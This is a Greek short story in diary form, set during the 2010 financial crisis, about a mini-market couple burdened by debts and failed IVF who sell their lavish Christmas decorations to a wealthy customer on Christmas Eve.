3-12 -10 «Αγόρασες καινούριο δέντρο ;» «Το ήθελα πολύ» «Ναιεεε;» «Ναι μου άρεσε.» «Έχουμε δύο δέντρα στην αποθήκη. Το ένα είναι γκριζοπράσινο με απομίμηση χιονιού και το πληρώσαμε πολύ ακριβά πέρυσι.» «Φέτος εγώ ήθελα άλλο δέντρο.» «Μα ξέρεις ότι είναι Δεκέμβριος και ακόμα χρωστάμε το ΤΕΒΕ του Νοεμβρίου;» «Το ξέρω , αλλά βγήκα στην αγορά , ήμουν λυπημένη και μόλις είδα αυτό το δέντρο ένοιωσα κάπως. Πώς να το πω , σαν αυτό το δέντρο να είναι το γούρι μας.» «Ρε συ περιμένουμε να έρθουν τέλη κυκλοφορίας, ενοίκιο , κινητά, δόση για το στεγαστικό , δόση για το επαγγελματικό, μου φορτώνεις και την κάρτα τώρα με το δέντρο…» «Δεν είναι μόνο το δέντρο , πήρα και κάτι στολίδια» «Στολίδια; Στολίιιιδια είπες;» «Ναι στολίδια. Βρήκα κάτι καταπληκτικά κρυστάλλινα σβαρόφσκι» «Πλήρωσες σβαρόφσκι για να στολίσουμε δέντρο; Ξέρεις πόσες κούτες με στολίδια έχουμε εκεί πίσω; Κάθε χρόνο είσαι και χειρότερη ; Μα να μας στοιχίσει το δέντρο πάνω από 1000 ευρώ; Πες μου σε παρακαλώ ποιος έχει ακριβότερο δέντρο; Ούτε αυτοί που έκαναν κομπίνες και έκλεψαν το κράτος δεν θα στολίσουν τόσο ακριβό δέντρο.» «Αυτοί φοβούνται γιατί τους περιτριγυρίζει η δικαιοσύνη. Εμείς δεν έχουμε να κρύψουμε τίποτε. Έχουμε τη δουλειά μας , χτυπάμε όλες τις αποδείξεις, πληρώνουμε ΦΠΑ . Α τώρα που το θυμήθηκα. Χθες ο διαχειριστής ψώνισε κάνα πενηντάρικο και μου ζήτησε να μη χτυπήσουμε απόδειξη και να γλιτώσει το ΦΠΑ μου είπε.» «Και συ τι του απάντησες ;» «Θες να σε τσακώσουν χρονιάρες μέρες και να τρέχουμε ; του είπα» «Μα εδώ δίπλα θα πάω μου είπε» «Συγνώμη αλλά δεν γίνεται, είπα» « Και…; τελικά τι έγινε;» «Τα έκοψε τιμολόγιο για το γραφείο του»
5-12-10 «Θέλω να υπολογίσουμε τι έχουμε να πληρώσουμε ως την Πρωτοχρονιά.» «Είναι 670 το ΤΕΒΕ , 400 το ενοίκιο, 450 το στεγαστικό , 180 το επαγγελματικό , 280 το άρση βαρών που είχαμε φουσκώσει τις κάρτες , 35+ 100 κινητό, 320 το ρεύμα, 140 κοινόχρηστα…» «Αχ σταμάτα , σταμάτα λιγάκι κάπως αγχώθηκα. Μα καλά πως τα λες τόσο γρήγορα , πως τα θυμάσαι όλα αυτά ;» «Τα θυμάμαι γιατί πρέπει να τα πληρώσουμε. Το ξέρεις ότι είναι επικίνδυνο να έχουμε γειτονικό μίνι μάρκετ τέτοια εποχή; Όλοι περιμένουν να τα πάρουν από μας. Επειδή πληρωνόμαστε κας , μας θεωρούν προνομιούχους. Μας ήρθε και η περαίωση. Έχουμε αυτόματη περαίωση, τους πληρώνουμε κάθε χρόνο και τώρα ζητάνε κι άλλα. Αν υποθέσουμε ότι δεχόμαστε να την πληρώσουμε και να σκίσουμε τα βιβλία μέχρι σήμερα , πρέπει να δώσουμε τουλάχιστόν 700 προκαταβολή» «Κάνουμε μια πρόσθεση;
670+ 400+180+280+135+320+140+700=
= είπα … κάθεσαι καλά στη καρέκλα σου ; 2825!!!! Και δεν έχω τελειώσει ακόμα.» «Δεν έχεις τελειώσει; Τι άλλο έχουμε;» «Είναι 240 τα τέλη κυκλοφορίας , είναι 20 τα τέλη για το μηχανάκι και έχουμε και δύο επιταγές για 25 Δεκεμβρίου άλλα 1200 …» «Επιταγές με ημερομηνία Χριστουγέννων; Μ’ αρέσει το χιούμορ σου στις επιταγές. Πάντα τις βάζεις να εισπράττονται γιορτές , αργίες , 28η Οκτωβρίου , Κυριακή του Πάσχα , Δευτέρα του αγίου Πνεύματος χα ,χα ,χα , αλήθεια γιατί το κάνεις αυτό;» «Είναι μια αίσθηση σιγουριάς , ότι ο άλλος δεν θα τρέξει από την πρώτη μέρα στην τράπεζα να την εισπράξει και να σε πρήξει στα τηλεφωνήματα , δεν έχει λεφτά ο λογαριασμός, δεν μπορώ να περιμένω , να τα βάλεις αύριο οπωσδήποτε , εγώ δεν το ’χω σε τίποτε να στην σφραγίσω….» «Πάμε πάλι στην πρόσθεση : 2825+1200 + 260= έχουμε τίποτε άλλο;» «Είναι και η δόση στον Κοτσόβολο για την πλάσμα και το λαπτοπ άλλα 175 ευρώ» «Σύνολο έχουμε 4460» «Θέλουμε 4μυσι χιλιαρικάκια μέχρι το τέλος του χρόνου.» «Τι θα κάνουμε;» «Τι θες να κάνουμε , θα κάνουμε οικονομία , δεν θα ψωνίσουμε τίποτε, δεν θα αγοράσουμε ούτε ένα κρατικό λαχείο , αλήθεια είδες ; 8 ευρώ τα πήγανε φέτος. Θα μου πεις μοιράζουν και 15 εκατομμύρια στον πρώτο αλλά και τα 8 ευρώ είναι πολλά. Τέλος πάντων ας πάρουμε ένα μόνο για το καλό της χρονιάς. Να το διαλέξεις εσύ, πάρε κάτι σε 11. Α τώρα που το θυμήθηκα καιεεεεε το ΚΙΝΟ κομμένο , άκουσες ; δεν υπάρχει ΚΙΝΟ για μας. Δεν μπορώ να πιστέψω , πως κατάφεραν να φέρουν τις γυναίκες στα πρακτορεία του ΟΠΑΠ. Έγινε το ΚΙΝΟ η λοταρία της γειτονιάς, η Τόμπολα των φτωχών. Ψεύτικες ελπίδες είναι όλα αυτά και μπορούν και μας ταϊζουν με τέτοιες πάνω στην απελπισία μας .»
6-12-10 Δευτέρα. Είναι πρωί . Η ώρα είναι 11. Στο μίνι μάρκετ είναι ο άντρας μόνος του. Η γυναίκα λείπει για ψώνια στην αγορά. Συνεννοήθηκαν να πάρει τα απολύτως απαραίτητα για να στολίσουν το μαγαζί, να δώσουν ένα γιορτινό τόνο , πράγμα που χαλαρώνει τους πελάτες- όσο αφορά το οικονομικό- και ξοδεύουν περισσότερα . Είναι τέχνη να πετύχεις εορταστικό κλίμα στο μαγαζί σου . Τους τα μασάς χωρίς ιδιαίτερο κόπο. Θυμάστε τους ινδιάνους από την αμερικανική ιστορία να ανταλλάσσουν το χρυσάφι τους με τις χρωματιστές χάντρες των λευκών; Κάπως έτσι δίνει ο κόσμος το χρήμα του, για να αποκτήσει χριστουγεννιάτικες «χάντρες» . Και όταν αυτό συμβαίνει ομαδικά , παρασύρεσαι περισσότερο , όμως από την άλλη έχεις την αίσθηση ότι γιόρτασες πιο έντονα το κλίμα των ημερών. Γι’ αυτό τρέχουν όλοι στα μεγάλα πολυκαταστήματα τέτοιες μέρες . Υπάρχει ένα αίσθημα ικανοποίησης , όταν έχεις ένα ογκωδέστερο καλάθι από τους άλλους πλάι σου , πράγμα που σε κάνει να ξεχνάς τα προβλήματά σου όσο το σπρώχνεις και το φορτώνεις , «φορτώνοντας» και τη ματαιοδοξία σου με ανυπόστατες ανάγκες.
Η γυναίκα αργεί και τον ζώνουν μαύρα φίδια , ότι μπορεί να παρασύρθηκε σε περιττά έξοδα πάλι . Κάθε φορά που έρχονται Χριστούγεννα η γυναίκα του κάνει σαν παιδί. Είναι ελαστικός μαζί της. Σ’ αυτό το ζευγάρι υπάρχει ένα «αγκάθι» που πονάει και τους δύο. Ένα αγκάθι που τώρα τις γιορτές πονάει περισσότερο. Πριν από ένα μήνα τελείωσαν και την 5η εξωσωματική γονιμοποίηση χωρίς επιτυχία . Πέντε αποτυχημένες εξωσωματικές σε δύο χρόνια. Όσο η γυναίκα του αγοράζει δώρα και στολίδια με μία ακατανίκητη μανία , χωρίς να υπολογίζει τα έξοδα τόσο εκείνος κατανοεί πόσο της λείπει το παιδί. Και δεν είναι μόνο το άγχος και η θλίψη , είναι και το κόστος. Από τη στιγμή που ακολούθησαν αυτό το δρόμο ,έχουν ξετιναχθεί οικονομικά. Έχουν σιχαθεί το ΤΕΒΕ , το σύστημα υγείας , τους υπαλλήλους, τους γιατρούς, το κράτος που φθίνει σε παιδιά και εμφανίζεται καχύποπτο απέναντι στο λεπτό θέμα της υποβοηθούμενης γονιμοποίησης. Και τώρα που το θυμήθηκε , πρέπει να πληρωθεί και η ασφάλεια του αυτοκινήτου, άλλα 220 ευρώ και 4460= 4680 σύνολο.
Αφοσιώνεται στη δουλειά όταν κάποια στιγμή εμφανίζεται η σύζυγος. Τα χέρια της έχουν κουραστεί από δύο τεράστιες σακούλες με χριστουγεννιάτικα. Το στομάχι του σφίγγεται μόλις τη βλέπει. «Μα τι έκανες εκεί ; τι ψώνισες; Δεν βλέπεις ότι δεν έχουμε δουλειά; δεν κατανοείς τι μέρες περνάνε; Το ίδιο το κράτος περιμένει να το ενισχύσουμε εμείς οικονομικά.» «ΕΕΕ εντάξει , είναι τα τελευταία, στο υπόσχομαι, δεν ξαναπαίρνω τίποτε άλλο , αλλά να ξέρεις θα σου φτιάξω ένα μαγαζί κουκλί, θα περνάς απ’ έξω και θα νομίζεις ότι εδώ είναι το σπίτι του Αι Βασίλη.» « Μα τι μου λες εδώ τώρα , πόσα ξόδεψες ; τι αγόρασες; Τι μπορεί να χωρέσει σε δύο τόσο μεγάλες σακούλες;» «Έλα τώρα μη κάνεις έτσι είναι Χριστούγεννα , πώς να στο πω είναι Χριστούγεννα και ο κόσμος πρέπει να είναι κάπως αλλιώς , δεν γίνεται να υπολογίζουμε μόνο τα έξοδα , είναι Χριστούγεννα , δεν το νιώθεις;» Κοίταξε γύρω της , κοίταξε ψάχνοντας με το βλέμμα σαν από κάπου να περίμενε μια ένδειξη για να τον πείσει ότι υπάρχει λόγος για να νοιώθει όμορφα και μετά τον κοίταξε στα μάτια και επανέλαβε : «Είναι Χριστούγεννα , πίστεψέ το …» και άφησε το φορτίο της κάτω προσπαθώντας να ξεκουράσει τα χέρια της. «Απόψε θα ξενυχτίσω για να στολίσω το μαγαζί» του είπε.
7-12-10 . Ξημερώνει. Η γυναίκα αποσύρεται για ύπνο. Το μαγαζί μένει φωτισμένο από τα λαμπιόνια της γιορτής. Οι τηλεοράσεις από το πρωί γαζώνουν συνειδήσεις με συντάξεις, με κομμένα επιδόματα, με κουτσουρεμένα δώρα , με ακριβά καύσιμα , με
πληρωμένη φτηνή αντιπολίτευση … Όσοι καταφέρνουν να ξεφύγουν από το πρωινό μελό της τηλεοπτικής οικονομικής πολιτικής , κατεβαίνουν στο δρόμο για να δούνε το πιο εντυπωσιακό μικρομάγαζο, να αντιμετωπίζει με ακριβό χαμόγελο τα μαύρα Χριστούγεννα του 2010. Οι πρώτοι διαβάτες σταματάνε , καθυστερούν να πάνε στη δουλειά τους , για να κολλήσουν για λίγα λεπτά τη μύτη τους στο τζάμι της βιτρίνας. Αυτή η γυναίκα έκανε καταπληκτική δουλειά . Κοιτάζοντας κανείς μέσα , νοιώθει αυτό που είπε το προηγούμενο πρωί : «Είναι Χριστούγεννα , πίστεψέ το…»
Ο σύζυγος την αφήνει να κοιμηθεί και ανοίγει μόνος του σήμερα. Μπαίνει στο μαγαζί. Την αρχική έκπλήξη ακολουθούν μετρημένες σκέψεις. Όσο σκληρός και να είσαι με το χρήμα, όσο απαθής συναισθηματικά , υπάρχει κάτι εκεί μέσα, που σε κινητοποιεί να γιορτάσεις. Το νιώθει και ο ίδιος ότι αυτός ο διάκοσμος θα κάνει τον κόσμο της γειτονιάς να ψωνίσει περισσότερο. Όμως τίποτε δεν αλλάζει όσο αφορά τις υποχρεώσεις. Ήδη ο διάκοσμος και το εξεζητημένο δέντρο στοίχισαν πάνω από 1800 ευρώ. Αστρονομικό ποσό. Κανείς δεν ξοδεύει τόσα. Τίποτε δεν μπορεί να τον κινητοποιήσει τώρα. Όσο όμορφο κι αν είναι το μαγαζί ξεκινάει τη μέρα του ανάποδα. Δεν είναι μόνο τα έξοδα. Είναι όλα όσα έχουν συμβεί τα τελευταία χρόνια. Οι οικονομίες που ξοδεύτηκαν κυνηγώντας το όνειρο. Ένα παιδί. Τίποτε άλλο δεν ήθελαν , ένα παιδί μόνο.
Ας υποθέσουμε ότι ένα ζευγάρι αντέχει και επιμένει να πετύχει το σκοπό του. Δεν είναι μόνο το οικονομικό και το άγχος και η ταλαιπωρία και οι ειδικές θεραπείες πριν την εμφύτευση , είναι και ο ανθρώπινος παράγοντας που μπορεί να τα καταστρέψει όλα σε μια στιγμή μόνο. Τώρα θυμήθηκε ένα νεαρό γιατρό που διατύπωσε τη θεωρεία «Η βιοχημεία του έρωτα βοηθάει στη σύλληψη» δηλαδή εννοεί ότι αν είσαι ερωτευμένος με τη γυναίκα σου, όταν κάνεις σεξ , η διέγερση , η επιθυμία , κινητοποιούν τις ορμόνες και εκείνες με τη σειρά τους όλες τις υπόλοιπες εκκρίσεις και δημιουργείται εκείνο το βιοχημικό περιβάλλον που ευνοεί τη σύλληψη. Και τότε ξεσπάνε οι αμφιβολίες . Μήπως δεν μ’ αγαπάει; Μήπως δεν θέλει να είμαστε μαζί; Μήπως μένει από συνήθεια; Πετάει την εξυπνάδα του ο γιατρός και άντε εσύ να μαζέψεις το χυμένο γάλα. Τι μίσος που νοιώθει αυτή τη στιγμή. Πόσο αδύναμος μπορεί να είναι κάποιος απέναντι στη υγεία; Ο υπουργός υγείας πρέπει να υπογράψει το επόμενο νομοσχέδιο μέσα σε νοσοκομείο , ξαπλωμένος σε δωμάτιο Β κατηγορίας , ενώ βιώνει την εμπειρία του μέσου ασθενή.
24-12-10 Παραμονή Χριστουγέννων. Μάλλον ο κόσμος είναι υπερβολικά σφιγμένος. Κάτι έγινε αλλά , δεν μπορούμε να πούμε ότι η αγορά κινήθηκε . Τα μικρά μαγαζιά εξακολουθούν να υποφέρουν. Άνοιξε και το ΙΚΕΑ. 18000 τετραγωνικά μέτρα ωφέλιμο , 18 στρέμματα μαγαζί με λίγα λόγια. Είπαμε για την ικανοποίηση που παίρνεις ψωνίζοντας σε υπερκαταστήματα. Όλοι έτρεξαν εκεί. Πήγαν από περιέργεια και άφησαν ένα σωρό χρήματα. Μιλάμε για μυθικούς τζίρους αν λάβει κανείς υπ όψη του την κρίση.
Είναι απόγευμα . Ο άντρας είναι μόνος του στο μαγαζί. Υπάρχει απογοήτευση. «Ας ελπίσουμε ότι η Πρωτοχρονιά θα είναι καλύτερη.»σκέφτεται. Σκοτεινιάζει. Σε λίγη ώρα σκοπεύει να κλείσει. Τυχερός θα είναι αν περάσει κάποιος ξεχασμένος για ψώνια της τελευταίας στιγμής. Η γυναίκα στο σπίτι ετοιμάζει ένα προσεγμένο δείπνο για τους δυο τους. Στρώνει το τραπέζι , το στρέφει προς την τηλεόραση να βλέπουν και οι δύο καλύτερα , ρίχνει μια ματιά στο εορταστικό πρόγραμμα για να διαλέξει κανάλι. Ετοιμάζει τα πάντα με την λεπτομέρεια και την κομψότητα που τη διακρίνει. Εκείνος είναι λίγο ψυχρός σε τέτοια θέματα; Είναι πολύ πρακτικός και βλέπει τα πράγματα ρεαλιστικά; Μάλλον συμπληρώνουμε ο ένας τον άλλον σκέφτεται.
Σκοτεινιάζει. Ο δρόμος άδειος . Λιγοστό φως αγγίζει τις πρώτες νιφάδες του χιονιού που πέφτουν απαλά . «Το χιόνι μας έλειπε τώρα» σκέφτεται εκείνος. «Να μη μπορεί άνθρωπος να βγει να ψωνίσει» Ησυχία. Το χιόνι πέφτει απαλά. Στο δρόμο ησυχία και ερημιά. Ένα μαύρο τζιπ γλιστράει στην άσφαλτο. Αφήνει τα φαρδιά ίχνη του πάνω στο χιόνι. Σταματάει και παρκάρει καβαλώντας πεζοδρόμιο έξω από το μαγαζί. Ο άντρας μισοκλείνει τα μάτια να εστιάσει . Πόρσε καγιέν τούρμπο. 200 χιλιάρικα κυλάνε ξεδιάντροπα στο δρόμο. 200 χιλιάρικα έξω από το μαγαζί του. Πόρσε καγιέν. Μισητό αυτοκίνητο. Αν μπορούσες να κάνεις εξακρίβωση στοιχείων σε μερικούς από δαύτους, στους μισούς μπορεί να βρεις κόκα , εικονικά τιμολόγια, πλαστά χαρτονομίσματα, μελέτες ΕΣΠΑ με υπερτιμολογήσεις ,για υπερμεγέθη εργοστάσια και ξενοδοχεία. Νομίζω πως έχει μιλήσει και η Παπαρήγα γι αυτό το όχημα. Είναι το τρόπαιο αυτών που κλέβουν το κράτος. Ω μισητό καγιεν. Θα του πάρω το κεφάλι , όποιος κι αν κατέβει από κει τώρα. Διπλή και τριπλή τιμή θα πληρώσει ότι και να ζητήσει.
Ανοίγει η πόρτα . Κατεβαίνει ένας τύπος γύρω στα 50 με ακριβό κοστούμι και προκλητικές καουμπόικες μπότες από δέρμα κροκόδειλου. Δεν διακρίνεται άλλος μέσα στο όχημα. Τα τζάμια είναι φυμέ. Μπαίνει στο μαγαζί. «Καλησπέρα , Χρόνια πολλά» λέει ευγενικά ο τύπος. «Χρόνια πολλά» απαντάει τυπικά το κατάστημα. «Ένα Τζόνι μπλακ παρακαλώ και ένα κιλό αμύγδαλο ψημένο». «Να τα κάνω συσκευασία δώρου;» ρωτάει ο άντρας για να κερδίσει χρόνο. «Πόσο να σε χρεώσω ρε μαλ..α , τώρα πόσο να σε χρεώσω να σου φύγει ο κω..ς εδώ που ήρθες.» σκέφτεται ενώ ετοιμάζει το δέμα . «Ναι παρακαλώ, προτιμώ συσκευασία δώρου» λέει ο τύπος.
«Πως βρέθηκε εδώ αυτός απόψε ; Μάλλον θα έχουν κανονίσει χαρτοπαιξία στον αρχιτέκτονα δίπλα. Νομίζω ότι έκανε ένα πολυτελές κτίριο τώρα τελευταίως.» ξανακοιτάζει τον πελάτη. Όλα είναι ακριβά επάνω του. Ακόμα και το κούρεμα είναι από ακριβό κομμωτήριο. «Δεν έχει ανάγκη αυτός . Θα τον κοπανήσω κανονικά» Το δέμα ετοιμάζεται. Χτυπάει απόδειξη και λέει : «Είναι 150 ευρώ» «Πόσο ; Πόσο μου είπατε;» «150» λέει ψύχραιμα . «Δηλαδή τι χρεώνεις» ρωτάει ο πελάτης έχοντας χάσει την ψυχραιμία του. «125 το τζόνι και 25 οι ξηροί καρποί» «125 ένα μπουκάλι ουίσκι;» «Είναι μπλάκ , είναι εορταστική τιμή , είναι λιανική , είναι περασμένη η ώρα, όλα τα μαγαζιά κλειστά και είναι και άλλα 3 χρόνια παλαιωμένο εδώ στο μαγαζί μου. Ποιος νομίζεις ότι πίνει τέτοιο εδώ , σ’ αυτή τη γειτονιά ; Κανείς;» Δεν φαίνεται διατεθειμένος να βγάλει χρήματα να πληρώσει. «‘Έτσι φτιάχνεται το χρήμα , κάνουν παζάρια και στο μίνι μάρκετ. Όμως εδώ σήμερα δεν θα τη γλιτώσει , θα πληρώσει αν θέλει το ουίσκι, αλλιώς θα πάει με άδεια χέρια στην κωλοπαρέα του.» σκέφτεται
«Προτείνω να συμφωνήσουμε σε μία λογικότερη τιμή» λέει ο πελάτης. Θα ήταν πολύ ωραίο να τελείωνε η βραδιά με 150 ζεστά στο χέρι αυτή τη στιγμή. «Τι θα ’λεγες για 90 ;» «Με τίποτε , έχω κόψει απόδειξη. 25 είναι μόνο το ΦΠΑ» «100» «Άφησέ τα . Θα ακυρώσω την απόδειξη.» «Θα σου τα πάρω , θα πληρώσεις , δεν σας χωνεύω εσάς τους αεριτζήδες …» σκέφτηκε. «Οκ 110 τελευταία τιμή» «Δεν γίνεται, δεν κάθομαι εδώ παραμονή Χριστουγέννων για να πάρω ψίχουλα» «Νομίζω πως 110 είναι καλά και για τους δύο.» λέει ο πελάτης και κάνει την κίνηση να βγάλει το πορτοφόλι του. Δεν υπάρχει άνθρωπος που να μη κάνει προσπάθεια να υπολογίσει το χρήμα ενός ανοιχτού πορτοφολιού. «140» λέει στη θέα των χαρτονομισμάτων. «115;» «Δεν γίνεται κάτω από 135» , «130;» Θα συμφωνήσει στα 130 γιατί αν στραβώσει αυτός ο ηλίθιος και φύγει τότε θα σκεφτεί μετανοιωμένος ότι καλά θα ήταν και τα 100. Ένα πράσινο χαρτονόμισμα και τρία κόκκινα φτερουγίζουν από το πορτοφόλι στην ταμειακή , όπως φτερουγίζουν εικονικά τα δεδομένα όταν κάνεις ντάουνλοντ. Όμως ανοίγει η πόρτα του συνοδηγού και κάτι ψηλοτάκουνο πατάει στο χιόνι. Δύο ακριβές μπότες διασχίζουν το πεζοδρόμιο. Ένα πλάσμα με μίνι και ψηλές μπότες ,βγαλμένο από την πιο καυτή μέρα του καλοκαιριού εμφανίζεται στην πόρτα. «Τιβέριε , γιατί καθυστερούμε ; πλήρωσε τον κύριο να φύγουμε.» «Τιβέριε είπε; Άκουσα καλά; Τιβέριε; Ακόμα και τα ονόματα τους δεν καταδέχονται να είναι από το σωρό. Ρωμαίος αυτοκράτορας ο τύπος . » Η κυρία περιεργάζεται το χριστουγεννιάτικο δέντρο. «Τώρα αυτήν τι την έχει; γυναίκα η γκόμενα ; Απροσδιόριστο. Έχει και τον τσαμπουκά της γκόμενας και την αυτοπεποίθηση της συζύγου.» Η κυρία του ρίχνει μια ματιά κι μετά αφοσιώνεται στο δέντρο. «Είναι διαφορετικές οι γυναίκες των πλουσίων.» Σολάριουμ μέσα στο καταχείμωνο , μαλλί σχεδόν λευκό , ακριβό ρολόι με πετράδια που βγάζουν μάτι. «Τιβέριε μου αρέσει αυτό το δέντρο. Ρώτησε τον κύριο αν μπορούμε να το αγοράσουμε.» «Συνέχισε έτσι μωρό μου και θα αλλάξω αυτοκίνητο απόψε, όλα θα σας τα πουλήσω , όλο το μαγαζί δικό σας» σκέφτηκε.
«Αυτό το δέντρο είναι κάπως ακριβό κύριε Τιβέριε» «Σάντρα σταματήσαμε μόνο για το ουίσκι , που θα το βάλουμε το δέντρο;» Λοιπόν τώρα το κατάλαβε. Αυτή η γυναίκα είναι και παραμελημένη και ικανοποιημένη. Ο τύπος της δίνει τα πάντα για λίγο και μετά πέφτει με τα μούτρα στις βρομοδουλειές του και την παραμελεί. «Αν είχα τέτοια γυναίκα …» μια εικόνα σαν σφαίρα τρύπησε το μυαλό του και κινδύνεψε να χάσει τον έλεγχο. «Ψυχραιμία , πρέπει να πουλήσουμε το δέντρο απόψε.»
«Αγάπη μου αυτό το δέντρο είναι πολύ ξεχωριστό. Απορώ πως βρίσκεται εδώ;» και έριξε μια ματιά στο υπόλοιπο μαγαζί. «Δεν χωράει δέντρο στο τζιπ» « Θα το αφήσουμε ανοιχτό»
“Οκ. Πόσα ζητάτε για το δέντρο παρακαλώ;” Ο Τιβέριος αναγκάζεται να “πιάσει δουλειά” Παραμονή Χριστουγέννων το απόγευμα. Είναι ειδικός διαπραγματευτής για λογαριασμό μεγάλης χρηματιστηριακής. “Ρωτάτε μόνο για το δέντρο η και για τα στολίδια;” “Μόνο το δέντρο.” λέει ο Τιβέριος. “Μου αρέσουν και τα σβαρόφσκι , χωρίς αυτά δεν λέει …” είπε η κυρία. “Μόνο το δέντρο είναι 1500 ευρώ , μαζί με τα στολίδια φθάνουμε 3300 σύνολο.” “Νομίζω πως δεν άκουσα
καλά” είπε ο Τιβέριος χαμογελώντας. “Μπορούμε να κάνουμε μία καλύτερη τιμή…” λέει το κατάσημα “…εφόσον μιλάμε πάντα για μετρητοίς” “Σάντρα , πήραμε το ουίσκι μπορούμε να φύγουμε.” λέει αποφασιστικά ο Τιβέριος.
“Όχι Τιβέριε δεν θα πάμε πουθενά χωρίς αυτό το δέντρο” “Θα βρούμε κάτι άλλο στην αγορά” λέει ο Τιβέριος με ένα παγωμένο χαμόγελο. Το κατάστημα τηρεί στάση αναμονής. Η Σάντρα δείχνει να είναι πιο επίμονη από τη γυναίκα του. Αν φύγουν απο ‘δω με το δέντρο μαζί τους θα βγάλω σχεδόν όλα τα έξοδα των γιορτών σκέφτεται. Η Σάντρα παραμένει σκεφτική σε βαθμό να νομίζουν και οι δύο άντρες ότι πείθεται να μη επιμείνει στην άποψή της. Μετά από λίγα δευτερόλεπτα η Σάντρα λέει: “Δεν είναι μόνο το δέντρο , θέλω κι αυτό το βιενέζικο μηχανικό παιγνίδι , θέλω και τη γιρλάντα απομίμιση πεύκου , θέλω εκείνα τα κρυστάλλινα δάκρυα …”
“Μπορούμε να έχουμε μία τιμή για όλα ;” είπε ο Τιβέριος. “Με 6 χιλιάρικα κατεβάζω όλο το διάκοσμο” λέει το κατάστημα . “Πολύ καλή τιμή!!” λέει η Σάντρα και ξεσπάει σε χειροκροτήματα. Ο Τιβέριος σχεδόν χάνει το χρώμα του. Η Σάντρα επιμένει. Το κατάστημα κάνει μια εναλλακτική πρόταση. “5500 και δεν θα χρειαστεί να τα μεταφέρετε , θα τα φέρουμε με τη γυναίκα μου και θα σας διακοσμήσει εκείνη το χώρο σας” Η Σάντρα πετάει από τη χαρά της. “Δεν είμαστε καλα” λέει ο Τιβέριος. “Δίνω 3500 τελική τιμή” περνάει στην αντεπίθεση. “ …και θα δεχτούμε και τη διακόσμηση από σας…” “Προσέξτε με …” λέει υπομονετικά ο καταστηματάρχης “ …δεν είναι μια υπερβολική τιμή , ούτε σας χρεώνω “γιορταστικές τιμές” . Απλώς συμπεριλαμβάνω διαφυγόντα κέρδη , γιατί έχουμε ακόμα Χριστούγεννα και θα κάνουμε Πρωτοχρονιά χωρίς διάκοσμο στο κατάστημα . Καταλαβαίνετε πόσο θα πέσουν οι πωλήσεις μας.” “5500 τελική τιμή:” επιμένει . Τιβέριος : “4000.” Έμπορος: “5200” Τιβέριος : “4250” Σάντρα: “Τιβέριε έχουμε 50 χιλιάρικα μαζί μας , για παιγνίδι γιατί επιμένεις στα ψιλά;” Τιβέριος: “Κι αυτό παιγνίδι είναι Σάντρα” Έμπορος: “5000” Τιβέριος:”4500 τελευταία τιμή .” Θέλω 4680 σκέφτεται ο έμπορος.
Να πω ή να μη 4700 σκέφτεται. Κι αν μετανοιώσει; “4800” λέει. Τιβέριος “4600 και αν δεν συμφωνείς δεν συνεχίζω. “Καλώς 4580 , θα σας κόψω και εδώ ενα 20αρικο όπως στα ποτά.” Η Σάντρα στον αέρα. Χειροκροτάει , φιλάει τον Τιβέριο , “αγάπη μου είσαι καταπληκτικός” του λέει. Το κατάστημα ψύχραιμο.
4600 φτερουγίζουν από το πορτοφόλι του Τιβέριου προς το ταμείο της επιχείρησης. Ο έμπορος επιστρέφει τα 20 ευρώ. Του εύχονται καλές γιορτές και
αποχωρούν με το μπλακ και τα αμύγδαλα. Η Σάντρα κοιτάζει ξανά το διάκοσμο , χαϊδεύει το δέντρο και δείχνει να μη θέλει να ξεκολλήσει από το μαγαζί. “Ωωω Τιβέριε …” ψιθυρίζει “ ..είναι το καλύτερο δώρο που θα μπορούσες , αυτά τα Χριστούγεννα.” Περπατάνε αργά προς την έξοδο. Ο Τιβέριος ανόιγει με τον τηλεχειρισμό το τζιπ. Porsche cayenne είπαμε, σκέφτεται ο έμπορος. Τώρα μπορώ να αγοράσω τον ένα τροχό και τη ρεζέρβα . Η Σάντρα μπαίνει στο αυτοκίνητο. Ο Τιβέριος ετοιμάζεται να βάλει μπρος αλλά του πιάνει το χέρι. Τον αγκαλιάζει και σκαρφαλώνει πάνω του. Έξω ψυχή. Το χιόνι πέφτει απαλά και σκεπάζει το δρόμο. Η Σάντρα επιμένει. Πίσω από τα φυμέ τζάμια δεν τους βλέπει κανείς. Ο Τιβέριος θα προτιμούσε κάτι σε πιο άνετο περιβάλλον , μπροστά στο τζάκι ας πούμε . Η κυρία δεν το βάζει κάτω. Ο Τιβέριος σκέφτεται να ανοίξει το ντουλαπάκι και να της δώσει τώρα ένα μονόπετρο που αγόρασε το πρωί γύρω στα 12 χιλιάρικα. Όμως δεν γλιτώνει από τα νύχια της Σάντρας και το αναβάλλει.
Ο έμπορος αδειάζει το ταμείο και ετοιμάζεται να κλείσει. Η γυναίκα του στο σπίτι έχει σχεδόν τα πάντα έτοιμα για το ρεβεγιόν. Βάζει το χρήμα σε ένα κομψό πακετάκι και το κάνει συσκευασία δώρου. 6480 ευρώ μαζί με την είσπραξη της ημέρας. Το βάζει στην τσέπη του περιμένοντας την κατάλληλη στιγμή να της το δώσει. Βγαίνοντας από το μαγαζί απορεί που βλέπει ακόμα εκεί το τζιπ . Κατεβάζει τα ρολά και πηγαίνει προς το σπίτι. Η γυναίκα του τον αγκαλιάζει μόλις μπαίνει και του λέει να καθίσει στο γιορτινό τραπέζι. Του δένει τα μάτια με ένα τισερτ. (Δεν βρήκε μαντίλι). Εκείνος περιμένει υπομονετικά απολαμβάνοντας τα θεσπέσια αρώματα που έρχονται από την κουζίνα. Έχει μια απέραντη γαλήνη μέσα του και σκέφτεται να της τα διηγηθεί αργά και παραστατικά. Η γυναίκα απομακρύνεται και επιστρέφει με κάτι που μυρίζει απίθανα. Έρχονται κι άλλα πιάτα στο τραπέζι και όλα μέσα στο σκοτάδι για τον σύζυγο. Όταν τελειώνει του βγάζει την τυφλόμυγα και βλέπει αναμμένα κόκκινα κεριά , γαλοπούλα γεμιστή , γιαπράκια και κόκκινο κρασί .
Ο Τιβέριος μέσα στο τζιπ επανεξετάζει αν πρέπει να κάνει την επόμενη κίνηση με την Σάντρα. Όλα τα στοιχεία συγκλίνουν προς την θετική πλευρά . Ακόμα και ο αστάθμητος παράγοντας στην Σάντρα επιφυλάσσει ενδιαφέρουσες εκπλήξεις.
Ο Τιβέριος βάζει μπρος και λίγα μέτρα πιο πάνω παρκάρει στο κλειστό πάρκινγκ της πολυκατοικίας. Κατεβαίνουν πιασμένοι χέρι-χέρι και ανεβαίνουν στο ρετιρέ.
